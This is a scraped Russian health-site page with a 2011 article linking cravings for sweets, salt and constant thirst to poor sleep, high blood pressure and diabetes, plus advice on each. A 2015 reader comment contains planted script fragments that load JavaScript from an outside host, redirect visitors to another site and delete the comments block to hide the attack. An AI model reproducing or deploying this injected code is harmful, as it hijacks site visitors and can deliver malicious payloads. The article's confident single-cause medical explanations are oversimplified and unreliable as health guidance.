Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Три порочных желания  >>  Три порочных желания
 
Обратная связь
 

Три порочных желания

Размер шрифта
29 ноября 2011 08:13
  • google_analytics: false
  • Нравится

Не можете без сладкого? Бесконечно хотите пить? Что это: особенности характера или особенности работы нашего организма, на которые надо обратить внимание?

1. Тяга к сладкому

Такая тяга к сладкому говорит о том, что вы не высыпаетесь. Ночью в организме вырабатывается «гормон счастья» – серотонин. И если по тем или иным причинам вы не высыпаетесь, днем организм будет пытаться компенсировать нехватку гормона с помощью углеводов и сладкого.

Беда в том, что сладкое лишь ненадолго повышает уровень серотонина, а потом… вам снова хочется есть.

Что делать?

  1. Высыпаться. Человеку необходимо минимум 7-8 часов для сна.

  2. Лучшее время для сна с 22.00 и до 6.00 утра.

2. Тяга к соленому

Если вы не можете жить без соли, проверьте давление. Скорее всего, оно повышенное. Соль – это электролит, который регулирует баланс жидкости в организме. Если в почках слишком много соли, они требуют больше воды, чтобы вымыть лишнее. Чем больше воды, тем больше объем крови. Чем больше объем крови, тем выше давление, ведь иначе сердце не сможет прогнать через себя весь этот объем. При повышенном давлении страдают сосуды. Дело может кончиться инфарктом или геморрагическим инсультом.

Что делать?

  1. Отказаться от соленых продуктов.

  2. Следить за своим давлением с помощью тонометра.

  3. Съедайте не больше 1 чайной ложки соли в день – это норма для человека.

3. Постоянная жажда

Если вас мучает жажда, сдайте кровь на сахар. При диабете почкам необходимо больше воды, чтобы вымывать из крови лишний сахар. Человек постоянно испытывает жажду и бесконечно ходит в туалет.

Что делать?

  1. Сдать анализы, проконсультироваться с врачом.

  2. Контролировать уровень сахара в крови с помощью глюкометра.

  3. Соблюдать диету.

 

Сюжеты по теме
Порочные желания. Откуда они берутся

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:05

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Самые популярные мифы о диабете   Недосып! Что происходит с вашим телом?   Почему мозг заставляет вас есть жирную еду? Как победить этого обжору?   Жир, который поможет вам избавиться от жира!  
13 февраля 2012Лекарство от диабета спасет от ожирения ребенка 25 августа 2011Почему диабет поражает не всех?
 
01 марта 2011Молоко матери спасает от ожирения 14 января 2011Чем больше живот, тем меньше мозг
 

Слайдшоу

1
Как лишний вес влияет на ваши ноги и их красоту
9 причин заснуть прямо сейчас
10 причин перестать есть шашлык!

Тесты

1
Есть ли у вас скрытый риск диабета?
Есть ли у вас избыточный вес?
Жиры, которые мы едим
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.